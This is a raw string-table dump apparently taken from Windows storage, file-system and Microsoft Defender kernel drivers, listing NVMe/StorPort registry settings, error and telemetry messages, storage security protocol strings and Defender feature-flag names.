StorportEtwInfoThrottleLimit StorportEtwWarningThrottleLimit DisableExtensionDriver ReportAllWheaErrorsAsNonFatal FirmwareActivateTimeout KsrPowerDownOptimizationEnabled NvmeKeepAliveTimeoutDefault TestFlags DlrmScaleDownThresholdFactorPercent DlrmScaleUpThresholdFactorPercent DlrmScaleDownTimeWindow100ns DlrmScaleUpTimeWindow100ns \Registry\Machine\System\CurrentControlSet\Services\StorportExt StorLivedumpCodesEnabled \Registry\Machine\System\CurrentControlSet\Control\StorPort\ \Device\StorportExt NvmeHostUuid NvmeHostName NvmeHostId Dma64BitAddresses SrbType InitialLunQueueDepth NVMe ICE IOStart failed. NVMe ICE IOStart returned a transient error. NVMe ICE IOComplete failed. PowerUp \Device\NvmePort%d \DosDevices\Scsi%d: \Device\ScsiPort%d \DosDevices\NvmeAdapter%d MinimumLength CommandLength ProtocolType InputLength Invalid protocol command. Not enough input buffer to contain STORAGE_PROTOCOL_COMMAND. Invalid protocol command version or type. Only NVMe protocol commands are supported at this time. Invalid protocol command. Not enough input buffer for an NVMe protocol command. Length Version ErrorInfoOffset Invalid protocol command. ErrorInfo buffer formatting is invalid. OutputLength ErrorInfoLength Invalid protocol command. DataToDeviceTransfer buffer formatting is invalid (1). DataFromDeviceBufferOffset DataToDeviceBufferOffset DataToDeviceTransferLength Invalid protocol command. DataToDeviceTransfer buffer formatting is invalid (2). Invalid protocol command. DataFromDeviceTransfer buffer formatting is invalid (2). DataFromDeviceTransferLength Invalid protocol command. DataFromDeviceTransfer buffer formatting is invalid (1). Invalid protocol command. Only Admin and NVM protocol commands are supported. RequestedTransferLength Invalid protocol command. DataToDeviceTransfer buffer formatting is invalid (3). CommandSpecific Invalid protocol command. This protocol command is disallowed outside of WinPE environment. Invalid protocol command. NVMe command specifies transfer size bigger than supplied buffer. Opcode Invalid protocol command. Only ProtocolTypeNvme is supported at this time. Invalid protocol command. Command Effects Log not found, failing request. Invalid protocol command. Command Effects Log indicates command is not supported. VM passthrough LUN device kNVMe %hs %hs Device %hs %hs %hs %hs SCSI %hs Device Bus Number %d, Target Id %d, LUN %d diskdump.sys \SystemRoot\System32\Drivers\diskdump.sys SCSI\%hs&Ven_%hs&Prod_%hs %06x NVME\%hs&Prod_%hs SCSI\VMLUN&Ven_%hs&Prod_%hs SCSI\VMLUN NVME\%hs_%8.8hs%40.40hs%8.8hs %02x%02x%02x SCSI\VMLUN%8.8hs%16.16hs%4.4hs SCSI\%hs%8.8hs%40.40hs%8.8hs NVME\%hs_%8.8hs%40.40hs NVME\%hs_%8.8hs SCSI\%hs%8.8hs%16.16hs SCSI\%hs%8.8hs SCSI\%hs%8.8hs%40.40hs SCSI\%hs%8.8hs%16.16hs%4.4hs Is1667Device NVME\%hs SCSI\%8.8hs%16.16hs%1.1hs %8.8hs%16.16hs%1.1hs SCSI\RAW QueueFullWaitIoPercentage NVME\RAW SCSI\%hs EnableLogoETW DisableIdlePowerManagement BusyPauseTime UserWriteCacheSetting MinimumIdleTimeoutInMS Disk Failure found while processing operation parameters \Driver\ Access denied, operation not supported from user mode Bypass IO not supported .sys Invalid operation ProductSuite \Registry\Machine\System\CurrentControlSet\Control\ProductOptions OneCoreUpdateOS \Registry\Machine\System\CurrentControlSet\Control\MiniNT DpcCompletionLimit SMR-HostManaged-Enabled Upgrade \Registry\Machine\System\Setup MiniportBugActionPolicy HmbMaximumSizeInBytes HmbAllocationPolicy HiberFileHybridPriority TelemetryIoSizeDistributionEnabled TelemetryPerformanceEnabled TelemetryPerformanceHighResolutionTimer AsyncStart TelemetryDeviceHealthPeriod TelemetryDeviceHealthEnabled TelemetryErrorDataEnabled TelemetryPerformancePeriod FUAEnable ExtendedDSMCommandsSupported TelemetryCriticalEventMaximum TelemetryCriticalEventEnabled DFxEnable MaxPreAllocatedIoResourceCount QoSFlags ForwardedIo MFNDEnable ProcsPerGateway DisableRuntimePower OverrideDeviceUniqueIDCapability EnableRegistryWatch EnableNativeTcg DisableIEEE1667 CreateControlObject VerifyLevel \Registry\Machine\System\CurrentControlSet\Control\StorPort\Verifier DisableNativeNVMeStack EnableNVMeICE StorageD3InModernStandby \Registry\Machine\System\CurrentControlSet\Control\Storage DifRegisterClassDriverPlugin Initializing IO size distribution telemetry failed. Year: %c%c%c%c Week: %c%c Initializing performance telemetry failed. NtStatus 128us, 256us, 512us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 512ms, 1000ms, 2000ms, 10000ms, 10000+ms 4K, 8K, 16K, 32K, 64K, 128K, 256K, 1M, 1M+ Default \Registry\Machine\System\CurrentControlSet\Control\StorPort\NVMeLogPages \Registry\Machine\System\CurrentControlSet\Control\StorPort\NVMeLogPages\Common \Registry\Machine\System\CurrentControlSet\Control\Storage\StorageTelemetry\Generic \Registry\Machine\System\CurrentControlSet\Control\Storage\StorageTelemetry\SCSI GeneratedID ATADeviceIdshim DeviceIdshim Srbshim CDW14|CDW15 CDW12|CDW13 CDW10|CDW11 NSID NTStatus Controller state Timeout Command status NewNamespaceCount Identify changed namespaces CDW0 NVMe command failed (polling) ModifiedNamespaceCount DeletedNamespaceCount \Callback\SoftRestart NVMeStatus Failed to retrieve firmware slot information log from controller. Queued identify update worker after firmware activation. Queued identify update worker after firmware activation (1). Controller reported invalid image on firmware activate. Controller requires conventional reset after firmware activation. Device should be power cycled to complete update. Firmware download command failed. ResetSuccessful Controller reset after firmware activation. Firmware activation caused null CQE. NvmeStatus Controller failed protocol command. Input buffer does not contain a valid STORAGE_PROTOCOL_COMMAND. ControllerDbgLogListEntryCount Queued controller reset after firmware activation (2). Firmware activation without reset failed, attempting to re-active with reset. Firmware activation failed (1). Firmware activation failed (2). ControllerDbgLogControlEnable ControllerDbgLogUseGlobalIndex ControllerDbgLogUsePreciseTimestamp Limit NN exceeds limit KeepAliveTimeout msecs KATO set Status KATO set failed Keep Alive not supported Keep Alive inconsistency TBKAS Set IO queue count KeepAliveTimeout Enable controller - Ready timeout Disable controller - Shutdown timeout Disable controller - Ready timeout SrbStatus Host registration failed Reconnect Controller operations started Controller operations stopped Register Keep Alive timeout expired Rebuild association started Transport connections terminated and outstanding requests drained Rebuild association succeeded Host deregistration failed Enabling Async Event failed Disabling Async Event failed Wait time WaitTimeMs Using time-based recovery Previous association has been terminated Reconnecting association ErrorState Rebuild association failed QueueId NVMe controller fatal transport error MaxIoQueueCount CreateIoQueues StartNamespaces - getting active namespace ids failed CurrentMaxNSID Reconnecting association succeeded FailureCode Reconnecting association failed IoQueueCount StartNamespaces - Add namespace failure TargetId PathId StartNamespaces - Invalid ids list NamespaceCount StartNamespaces - Skip namespace StartNamespaces - Create namespace failure UpdateNamespace - Skip namespace UpdateNamespace - Create namespace failure UpdateNamespace - Add namespace failure UpdateNamespace - Namespace added StartNamespaces - Namespace added Count MaxNSID StartNamespaces completed Previous NCAP New NSZE Previous NSZE UpdateNamespace - Namespace updated UpdateNamespace - Namespace removed New NUSE Previous NUSE New NCAP New discovery log page detected Get discovery entries Add discovery entry Verify discovery generation Get discovery header RECFMT NUMREC GENCTR New discovery log page read Discovery retries exhausted FabricControllerDiscovery failure LogSpecificIdentifier LogPageOffset PercentageUsed AvailableSpareThreshold AvailableSpare CriticalWarning LogPageSize LogPageIdentifier NamespaceId Get Log Page send failure 2Health critical warning Keep Alive sent Keep Alive send failure LogPage AsyncEventInfo AsyncEventType Async Event Request completion - success Keep Alive response received Keep Alive failed TransportErrorCode Controller drain queue failure Authentication send - negotiate failed Async Event Request completion - failure NextIoQueueIndexHint No IO queue found dDHVLEN DHgID HashID ReasonExplanation ReasonCode Authentication receive - failure1 received SEQNUM Authentication send - failure failed BCryptOpenAlgorithmProvider BCryptGenerateKeyPair T_ID | ExpectedTransactionId AUTH_TYPE | AUTH_ID Authentication receive - invalid challenge Authentication receive - challenge failed BCryptExportKey Generating host DH key failed BCryptImportKeyPair BCryptSecretAgreement DHParameters BCryptSetProperty BCryptFinalizeKeyPair DHPUBLICBLOB Computing host response failed Authentication send - reply failed Authentication receive - invalid success1 TRUNCATE BCryptDeriveKey Generating shared DH value failed Computing controller augmented challenge failed Computing controller response failed Authentication send - success failed QueueTail QueueHead Authentication receive - result1 failed Controller response did not match Computing host augmented challenge failed Controller reset succeeded FailureReason Controller reset failed Create SGL buffer pool failed QueueSize Queue full No available CmdId ResetReason Storing SubsystemId failed Get interrupt information failed Set IO queue count failed Admin Queue Initialize failed Controller enable failed Identify controller failed Create pending IO queue context failed IO queues sync creation failed IO queues async creation failed Volatile Memory Backup Device Failure ReadOnly Initialize perf options failed Initialize IO queues failed IO queues mapping failed Processor to SQ mapping failed Health Status : Critical Warning Endurance Threshold Limit Percentage Used Health Status : Percentage Used Reliability Degraded Temperature Threshold Spare Below Threshold Critical Warning Log Page Count LogPageType NamespaceID Reservation Notification Async Event Spare Threshold Limit Available Spare Health Status : Available Spare Available Log Page Count Sanitize Status Sanitize Async Event Pending Activate Slot Active Slot Telemetry Controller Initiated Async Event Global Data Erased Sanitize Command CDW10 Sanitize Progress Asynchronous Event Info Asynchronous Event Notification : Write to Invalid Doorbell Register Asynchronous Event Notification : Invalid Doorbell Write Asynchronous Event Notification : Diagnostic Failure Firmware Activation Starting Async Event Async Event Request completed successfully Relative Write Throughput Relative Read Latency Relative Read Throughput Exit Latency (us) Asynchronous Event Notification : Persistent Internal Device Error Asynchronous Event Notification : Transient Internal Device Error Asynchronous Event Notification : Firmware Image Load Error Relative Write Latency DisableBypassIO DeepQueueDepthSupport IoQueueDepth IoSubmissionQueueCount Entry Latency (us) Non-Operational Max Power (uW) NVMe Power State InterruptCoalescingTime InterruptCoalescingEntry BypassSgl NvmeCrashdumpViaSCSI IoCompletionQueueCount DisableDeallocate IsolateDeallocate IsolateFlush IoCompletionCapInDPC IoPollingSize DiagnosticFlags IoStripeAlignment IdlePowerMode DfxDisable IoQueuePercentageInPollingMode IoPollingInterval Controller submission queue quiesce timeout Controller submission queue completion quiesce timeout Identify namespace failed Identify namespace descriptor failed LBADS NSZE NVM Subsystem SN: %hs, PCI bus %d, device %d, function %d Namespace wait for remove lock timed out SCSI\%8.8hs%40.40hs%8.8hs %8.8hs%40.40hs%8.8hs Inactive namespace Controller failed namespace protocol command. NVMe namespace identification NVM Subsystem SN: %hs, NSID: %hs, CtrlID: %04d NVME\%hs&Ven_%hs&SUBSYS_%hs&MN_%hs&SN_%hs&REV_%hs Sanitize recover failed. Failed to acquire remove lock for sanitize recover. NVME\%hs%8.8hs%40.40hs%8.8hs NVME\%hs%8.8hs%40.40hs NVME\%hs%8.8hs Failed to format the nvme device. Failed to sanitize the nvme device. Failed to retrieve namespace endurance information log from controller. NVMe disabling QoS Failed to Allocate DMA buffer for sanitize recover. Get Sanitize Log Page Failed Last sanitize command completed successfully. Bail out. Sanitize Recover Command Failed NVMe enabling QoS NVMe updating QoS settings NVMe namespace clear unresponsive IoCreateDriverProxyExtension IoGetDriverProxyFeatures IoGetDriverProxyEndpointWrapper IoRegisterDriverProxyEndpoints Queue depth Free command ID count SQ ID SQ head Failed to get free slot Failed to get free slot for split IO IO SQ count IO CQ count SQ tail Command ID CQ Head CQ entry DW2 Invalid command ID in CQ entry CQ ID SQ Head SQ Tail CQ entry DW3 Queue Depth NVMe command failed Failed to get free slot for non-read/write command Adapter protocol query log page request specified invalid NSID Invalid buffer length for log page in protocol query request Protocol query log page request specifies transfer length larger than buffer Namespace protocol query log page request cannot specify NSID NVMeDataTypeLogPageEx protocol query request for non-vendor-specific log page identifier IRP Status Protocol query request contains unsupported OT for log page offset Invalid log page identifier in protocol query request PowerDown TransferSizeInBytes Controller reset recovery started Controller command timeout CommandTimeoutBias TimeoutIn100NS CurrentTimestamp CmdTimestamp ControllerState ControllerErrorState Controller reset recovery succeeded Controller reset recovery failed ResetNamespace NamespaceCountToReset ResetController Scsi Bus %d Target Id %d Initiator Id %d Interrupt Driver IOAddress DeviceIdentifierPage DeviceType %s\Scsi Port %d\SCSI Bus %d\Target Id %d\Logical Unit Id %d InquiryData Logical Unit Id %d Identifier SerialNumber MaximumLogicalUnit LinkTimeout DriverParameter MaximumUCXAddress MinimumUCXAddress NumberOfRequests BusType UncachedExtAlignment KeepAliveTimeoutInMs IoTimeoutValue BusyPauseTimeInMs IoLatencyCap 0123456789abcdef IO queues sync creation failed SrbStatus Admin Cmd Error Handle Cmd OpCode IO Submission Queue deletion failed IO Completion Queue deletion failed Allocate IO queues failed Controller Fatal Status is set NVMe Controller Config DevPoll_Hints DevPoll_Size DevPoll_Count DevPoll_Ver Polling_Hints Polling_Size Percent_Count NVMe Controller Config - Polling ControllerStates Read PCI Configuration failed MLBAR/MUBAR is not valid StorPort get uncached extension failed Controller reset failed Controller initialize part1 failed D0 Latency NVMe Power Transition D3 Latency No HostMemoryBuffer Disable HostMemoryBuffer succeeded Disable HostMemoryBuffer failed IdentityInformation ControllerErrorState RevisionID DeviceID VendorID Skip NVMe Power Down during KSR ControllerResetFailureCount PLDRFailureCount BusSpecificResetFailureCount FLRFailureCount InterlockedFlags StorStatus Reset Type NVMe hardware reset failed Total message count CE 1 processor count CE 0 processor count CE 1 CQ count CE 0 CQ count Total CQ Count Total SQ Count Current SQ ID Dedicated Io SQ Count Io SQ Count Message ID CQ ID Io SQ to CQ Mapping CQ count is 0 for CE 0 or CE 1 Class efficiency 1: No CQ Found Class efficiency 0: No CQ Found No progress for queue mapping Io SQ to CQ Mapping: No CQ Found SQ Count CQ Count Latency IOQ-Async Latency Allocated SQ Count Allocated CQ Count ErrorState ReturnState IOQ-Async Creation Failed IOQ-Sync Latency FailureReason ControllerState AER Limit Failed to Allocate Async Event Commands AERToAllocate AdminQueueDepth OrdinaryAERCount MaxChildControllerCount Insufficient admin queue depth for MFND AER InsufficientAdminQueueDepth InsufficientNonPagedPool InsufficientDMABuffer AERLimitTooSmall FailureReasonUnknown Failed to allocate AER for MFND StorNVMe Admin Queue Initialize failed Controller enable failed Identify controller failed Get processor information failed Get interrupt message information failed Initialize perf options failed Initialize IO queues failed Initialize reserved IO queues failed IO queues async creation failed Srb Status Controller Set-Feature Host Identifier Failed Controller Panic, No Action required Controller Panic, Format NVM required Controller Panic, Vendor Specific Command required Controller Panic, Vendor Analysis required Controller Panic, Device Replacement required Controller Panic, Sanitize required Controller Panic, Unknown Device Action! Post Recovery Action Recovery Action Panic Id-High Panic Id-Low Get processor group information failed Controller Reset failed due to surprise remove Controller Reset failed FLR reset failed Bus specific reset failed Platform level reset failed Invalid device state Rel. Write Lat. Rel. Write Thpt Rel. Read Lat. Rel. Read Thpt Exit Lat. (us) Entry Lat. (us) Non-Operational Max Power (uW) NVMe Power State Get Sanitize Log Page Failed Sanitize Recover Command Failed Status NVMe Insufficient Resource to schedule WorkItem StatusCode StatusCodeType Telemetry Log Header Telemetry Log SlotCount UpgradeSupport Size Version BufferLength Firmware GetInfo ReturnCode Firmware Download Complete SGLBuilt MAXSGLEntries BufferSize Firmware Download Firmware Activate Complete Flags SlotToActivate Firmware Activate NVMeDataTypeLogPageEx protocol query request for non-vendor-specific log page identifier Invalid log page identifier in protocol query request Protocol query request contains unsupported OT for log page offset Invalid buffer length for log page in protocol query request Adapter protocol query log page request specified invalid NSID Namespace protocol query log page request cannot specify NSID Protocol query log page request specifies transfer length larger than buffer BufferOffset Function SrbBufferLen Firmware Ioctl TotalStreamCount OpenStreamCount MaxOpenStreams AllocStreamCount StreamSizeBytes OptWrSizeBytes Namespace Success Streams Init CreateStatus SQID CQID RCQCount RSQCount CQCount SQCount AllocResQCount Reserved Queue Create Reserved Submission Queue deletion failed Reserved Completion Queue deletion failed DeleteStatus Reserved Queue Delete ControllerFlags ActiveNSIDListStatus MaxActiveNSIDInNSIDList MaxActiveNSID MNAN ActiveNSCountInNSIDList ActiveNSCount Identify namespace Controller Get-Feature Namespace Metadata Failed NamespaceId NVMe ignore preferred values NVMe disable preferred value check Min NOWS bytes NOWS NVMe NOWS too small DataInconsistent TelemetryLength NVMe controller initiated telemetry failed Enabled Set NOPPME setting Controller Panic, In panic reset workflow Controller Panic Reset failed Change List Index 0 Change List is Empty NVMe Namespace Change List NVMe Ctlr Telemetry Log Page NVMe GetLogPage Failure Fallback LogPageSize LogPageId EventInfo EventType NVMe Async Event-Error Status NVMe Async Event-Health Status NVMe Async Event-Namespace Change NVMe Async Event-Firmware Activate Start NVMe Async Event-Telemetry Log Changed NVMe Async Event-Zone Descriptor Changed NVMe Async Event-Reservation Notification NVMe Async Event- Sanitize Completed NVMe Async Event-Device Panic MFND Child Controller Async Event NVMe Async Event-Vendor Specific Controller State NVMe Async Event-Failed Issue Async Cmd Fail Count NVMe Issue Async Event Failed NVMe Issue Async Event Issued DSPEC DTYPE DOPER NUMD Directive Send Fail Directive Recv Fail PRP2 PRP1 MPTR NSID PSDT FUSE Admin Command NVM Command Identify DPTR CDW11 Get Features CDW15 CDW14 CDW13 CDW12 CDW10 Set Features LPOU LPOL NUMDU NUMDL Get Log Page QSIZE Create IO CQ Priority Create IO SQ Length SECP SPSP Security Send Security Receive OFST FW Download FW Commit MSET LBAF Format NVM Directive Receive Directive Send General Admin Dataset Mgmt LBAHIGH LBALOW General NVM Complete Status Status.SCT Status.SC Admin Command Completion NVM Command Completion Volatile Backup Device Failure Read Only Mode NVM Reliability Degraded Temperature Threshold Spare Below Threshold CriticalWarning Health Status-Critical Warning Endurance Threshold Limit Percentage Used Health Status-Endurance Warning Available Spare Threshold Limit Available Spare Health Status-Available Spare Warning Available Log Page Count Log Page Count Log Page Type Namespace ID Reservation Notification Log Page Version Number of Log Entries Process MFND CC Event Fail Sanitize Start Recover Failed CryptoEraseOp Est (s) BlockEraseOp Est (s) CrptErase Est +MediaDeallc (s) BlkErase Est +MediaDeallc (s) Global Data Erased Sanitize Progress (of 65535) Sanitize Command CDW10 Sanitize Operation Status Sanitize Completed CQId SQId NVMe Invalid Command Id MessageId Admin CQ Admin SQ Admin QID Timeout on Interrupt Fail Srb in slot Is AdminCommand SubmissionQueue Not Admin Cmd or Queue ControllerStatus ThrottledInstanceCount TimeSoFarInMicroSeconds CmdInfo Admin Command Timeout Admin Command Error Throttled Instance Count NVMe Flush Error NVMe Read Error NVMe Write Error Directive Send/Receive Error Security Send/Receive Error NVMe Firmware Commit Error NVMe Firmware Download Error Format NVM Error ControllerConfiguration Controller Error Previous List Index 0 Previous List is Empty NVMe Namespace Change List Failure Pool Fail Count DmaBuffer Fail Count Insufficient Resource Stor Status OutstandingIo Wait for IO Timeout nsid status Rescan Timeout DmaBuffer Failed Reenumeration Resource Fail Context Resource Fail WorkItem Fail Count Queue WorkItem Failed ComID Receive TCG Transfer results command response Response length Minimum response length NULL Probe response status code MiniNT PsGetVersion WmiTraceMessage WmiQueryTraceInformation \Registry\Machine\System\CurrentControlSet\Control\EnhancedStorage\ (null) EtwRegisterClassicProvider EtwUnregister EnableNativeOpalSupport ForceNativeOpalSupport DisableEhstorSupport EnableCryptoSanitizeTranslation DisableScsiSenseFixup DisablePowerDownDeauthentication Disk1667 E Hardware Encryption is enabled EhStorClass.sys DisableSecurityPassthrough Blocked Security Protocol Security Command IoControlCode Security passthrough command encountered Minimum header length Receive supported security protocols list header Receive supported security protocols list Send IEEE 1667 Probe request Receive IEEE 1667 Probe response header Receive IEEE 1667 Probe response RtlQueryRegistryValuesEx \Registry\Machine\Software\Policies\Microsoft\Windows\EnhancedStorageDevices\ApprovedSilos SiloAllowListPolicy \Registry\Machine\Software\Policies\Microsoft\Windows\EnhancedStorageDevices\ApprovedSilos\List {00000000-0000-0000-ffff-ffffffffffff} Silo index Send IEEE 1667 TPer reset command Receive IEEE 1667 TPer reset command response Reset response status code Silo command Send IEEE 1667 silo command Receive IEEE 1667 silo command response \Callback\SoftRestart Send TCG Level 0 discovery request Receive TCG Level 0 discovery response Send TCG Transfer command Receive TCG Transfer command response Send TCG TPer reset command Send TCG Stack reset command Receive TCG Stack reset command response Response data length Response request code Response ComID D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GR;;;WD)(A;;GR;;;RC) KmdfLibrary \Registry\Machine\System\CurrentControlSet\Services\EhStorClass %ws%wZ $RmMetadata \Device\FileInfo \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters BaseTime FIPrefetchDelayMs FIFSOpMaxBlockTimeMs FIBlockDbgBreak FIMaxQueryWorkers FIDbgStreamFailurePercent FIDbgVolumeFailurePercent FIDbgStream2ndAttempt FIDbgVolume2ndAttempt FIForcedNameTracking SfTracingState IoCreateDeviceSecure IoValidateDeviceIoControlAccess D:P(A;;GA;;;SY)(A;;GA;;;BA) SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} \FI_UNKNOWN :$DATA UNKNOWN \System Volume Information\ \$Extend\$Reparse:$R:$INDEX_ALLOCATION WimOverlay.dat WimOverlay.new \Registry\Machine\Software\Microsoft\SQMClient\Windows \Registry\Machine\Software\Policies\Microsoft\SQMClient\Windows CEIPEnable NULL ::$DATA Bypass not supported due to failing to find or create file/stream context Bypass not supported on WOF compressed file PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister MmMdlPageContentsState ExTryQueueWorkItem ZwUpdateWnfStateData NoAutoAttach AutoAttach SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes \Device\CNG \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\WOF\Providers\WIM\IntegrityFiles WIMH. \System Volume Information %wZ%s\%s%016I64X CI\WIMIntegrity\DisableKdBreak SHA256 \Device\BitLocker\%s WimOverlay.backup \Device\HarddiskVolumeUnknown RtlQueryRegistryValuesEx SqmInterval HashDigestLength MultiObjectLength :WofCompressedData \Device\Ramdisk{d9b257fc-684e-4dcb-ab79-03cfa2f6b750} \Device\HarddiskVolume \Device \Device\%s\Partition%lu \??\PhysicalDrive%lu Directory SymbolicLink Harddisk TELASSERT \Registry _Classes _Classes \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Exclusions 127.0.0.1: ::$DATA \Windows\SysWOW64\Microsoft.UEV.AppAgent.dll \Windows\System32\Microsoft.UEV.AppAgent.dll ALLOWED create (empty) \Program Files (x86)\ Definition Updates \Windows\System32\regsvr32.exe \Windows\System32\rundll32.exe \Windows\System32\odbcconf.exe \Windows\System32\control.exe \Windows\SysWOW64\regsvr32.exe \Windows\SysWOW64\rundll32.exe \Windows\SysWOW64\odbcconf.exe \Windows\SysWOW64\control.exe \ProgramData\Microsoft\Windows Defender\ Snapshots \ProgramData\Microsoft\Windows Defender\Platform\ \Program Files\Windows Defender\ \Program Files (x86)\Windows Defender\ \Windows\System32\Drivers\ \Program Files\Windows Defender\Platform\ \ProgramData\Microsoft\Windows Defender\Snapshots\ \ProgramData\Microsoft\Windows Defender\Definition Updates\ Windows Defender Microsoft Defender for Endpoint Platform 0123456789abcdefremote/external device spooler file [DLP-filter] Denied Process '%wZ' (pid = %#x) from opening file '%wZ' for write on %ws. reason: %d OnClose (unknown) OnRead [Mini-filter] %ls(#%d): %ls. Process: %ls, Status: 0x%x, State: %u, ScanRequest #%d, FileId: 0x%I64x, Reason: %ls, IoStatusBlockForNewFile: 0x%x, DesiredAccess:0x%x, FileAttributes:0x%x, ScanAttributes:0x%x, AccessStateFlags:0x%x, BackingFileInfo: 0x%x, 0x%x, 0x%I64x:%I64x\0x%I64x:%I64x Unsuccessful scan status Blocked file OnOpen [Mini-filter] Denied OB operation OpenProcess[%wZ][Pid:%u] from process [%wZ][Pid:%u]. OriginalDesiredAccess: [0x%x] ResultingAccess: [0x%x] docx docm dotx dotm docb xlsx xlsm xltx xltm xlsb pptx pptm potx potm ppam ppsx oxps zipx :Zone.Identifier:$DATA pmsmpeng.exe mpcopyaccelerator.exe mpcmdrun.exe mpdefendercoreservice.exe MpDlpService.exe nissrv.exe GoogleDriveSync.exe Dropbox.exe BoxSync.exe OneDrive.exe NULL (NONE) MpFC_Kernel_UseForUT %ws=%#x; [Mini-filter] MpFC: %ws MpFC_Unknown MpFC_WSC_Wait_minutes_DAS_On MpFC_Stop_WDAV_Policy_DAS_On MpFC_Start_WDAV_Pref_DAS_On MpFC_Ignore_DisablePassive MpFC_Ignore_DisableSxS MpFC_Launch_WDAV_No_WSC_ServerSKU MpFC_Enable_PUA_Managed MpFC_DisableAdvancedCtxFormat MpFC_Block_IRM_CloudEgress_NativeHost MpFC_Enable_TP_Exclusions MpFC_TSMode MpFC_UseScanParam_E5 MpFC_UseScanParam_Consumer MpFC_Enable_PUA_Consumer MpFC_IgnoreDASEnableWSCCheck_E3 MpFC_IgnoreDASEnableWSCCheck_E5 MpFC_EnableESUHBDueCheck MpFC_SACExitEvalModeCheck MpFC_SACHybridModeCheck MpFC_ServiceEtwUnregisterUseLegacy MpFC_EnableEcsConfigDelivery MpFC_EcsConfigDownloadInterval MpFC_DisableTempExclusionHardening MpFC_Enable_TP_Exclusions_SCCM MpFC_Enable_CloudDrivenRollback MpFC_NoEngineTrustScanFlags MpFC_DisableHealthMonitor MpFC_AdvertiseM365Feature MpFC_AdvertiseLogonMinutesFeature MpFC_AdvertiseM365PackMajor MpFC_AdvertiseM365PackMinor MpFC_AdvertiseM365PackBuild MpFC_FirstPartyEngineDowngradeAllowed MpFC_FirstPartyPlatformDowngradeAllowed MpFC_UseApplyDisableNetworkScanningToIOAV MpFC_EnableTPExclusionsMDEAttach MpFC_EnableIOCNewToast MpFC_DisableTPAutocorrectionE3 MpFC_FirstPartyAsyncOnOpenAllowed MpFC_DisableTPStateWatcherSenseATP MpFC_DisableDirectThreatSeverityRetrieval MpFC_DisableTPAvailabilityE3LT19H1 MpFC_RpcServerUseEndpointMapper MpFC_SetPluginStateAtFirstEngineLoadSynchronously MpFC_ServiceUnregisterRegNotificationsUseLegacy MpFC_MonitorGpRegToEnforceAcls MpFC_DisableTPConfigCallbackCorrection MpFC_EnableTPExclusionsSCCMNonMDEAttach MpFC_PrioritizeImpersonationForIOAVNetworkScans MpFC_MdDisable1ds MpFC_Md1dsMaxFileSize MpFC_Md1dsMaxMemorySize MpFC_Md1dsHeartbeatInterval MpFC_MdEnableCoreService MpFC_DlpAsyncThreadNumberFactorInPercent MpFC_DlpSyncThreadNumberFactorInPercent MpFC_DlpUserAgentFeatures MpFC_DlpEnableEngineConfigStorage MpFC_DlpEnableDlpEnqueueCallback MpFC_DlpEnableProcessIsolation MpFC_RtpAdjustPriorityForNonScanMessageTypes MpFC_RtpEnableProcessInfoMap MpFC_GenerateEffectiveConfigurationReport MpFC_SCC_FeatureAvailable MpFC_Dlp_LLMScan_Disable MpFC_Dlp_LLMScan_BufferMinSize MpFC_Dlp_LLMScan_BufferMaxSize MpFC_Dlp_LLMScan_InMemoryMaxSize MpFC_EnableImpersonationOnNetworkResourceScan MpFC_DC_DisableDataDuplicationManager MpFC_DC_DisableDriverCommunication MpFC_DC_DisableAccessChecks MpFC_DC_DisablePrintAccessChecks MpFC_SCC_VerifyPayloadSignature MpFC_SCC_EnableConfigChanges MpFC_DlpAnyFileFlags MpFC_EnableLowerPrivilegeEtwSession MpFC_Dlp_AnyApp_Enable MpFC_StopMonitor_AllowForceTerminate MpFC_StopMonitor_TimeoutInSeconds MpFC_Dlp_PauseResume_Enable MpFC_Dlp_PauseResume_WaitTime MpFC_Dlp_AnyApp_Enforcement MpFC_SCC_PersistPayloadFiles MpFC_Dlp_OutlookAttachmentSubstitution_Flags MpFC_DisableTpRevertEvent MpFC_Dlp_Clipboard_Flags MpFC_Ignore_ForcePassiveMode_Servers MpFC_RtpEnableDefenderConfigMonitoring MpFC_RtpEnableDefenderConfigNotificationSave MpFC_Dlp_SystemProcessExclusion_Flags MpFC_DisableFastFailCrashOnMemoryThreshold MpFC_EngineLoadAge MpFC_Dlp_EnableRemovableStorageEnforcement MpFC_UUPFlags MpFC_Dlp_EnableEdgeGroupOverride MpFC_TrustAnchors MpFC_DC_DisableFetchPrintEvidenceDataFromDocumentName MpFC_Disable1DSProxySupport MpFC_AllowTrustAnchorsForTLS MpFC_Throttle_ScanThreads_Equally MpFC_DC_DisableAadDeviceIdQuery MpFC_EnablePersistedScanV2 MpFC_EnableCommonMetricsEvents MpFC_Dlp_InheritBlanketPolicyExemptionEnable MpFC_CSP_DisableRpcAwareHealthCheck MpFC_DlpTrustContainerFlags MpFC_EnableOnDemandScan1DSMetrics MpFC_Dlp_TelemetryFilterFlags MpFC_Dlp_TelemetryFilter_DefaultRuleMaxFiles MpFC_InRingThrottlingEnabled MpFC_MpCampRingThrottled MpFC_MpEngineRingThrottled MpFC_Dlp_Quarantine_Settings MpFC_M365ToastFeature MpFC_M365SsoFeature MpFC_M365StablePackVer MpFC_M365CurrentPackVer MpFC_M365ToastCurrentVerRollout MpFC_M365SsoCurrentVerRollout MpFC_PaidNetworkSvcSkipSystemSetupCheck MpFC_CoreSvc_ResMon_CpuRate MpFC_CoreSvc_ResMon_MemLimit MpFC_Dlp_EventThrotteIntervalInSec MpFC_CoreSvc_ResMon_CpuToleranceLevel MpFC_CoreSvc_ResMon_CpuToleranceInterval MpFC_Dlp_FileEvidenceCopyRetries MpFC_Dlp_TelemetryReportMode MpFC_Dlp_PauseResume_ActionType MpFC_EnableKslFeature MpFC_SAC_ClientWaitForRpc MpFC_Dlp_Allow_Off_Support MpFC_Dlp_UnallowedEnlightenedApplications MpFC_DC_EnableAadSidCache MpFC_Dlp_IpRangeMatchSettings 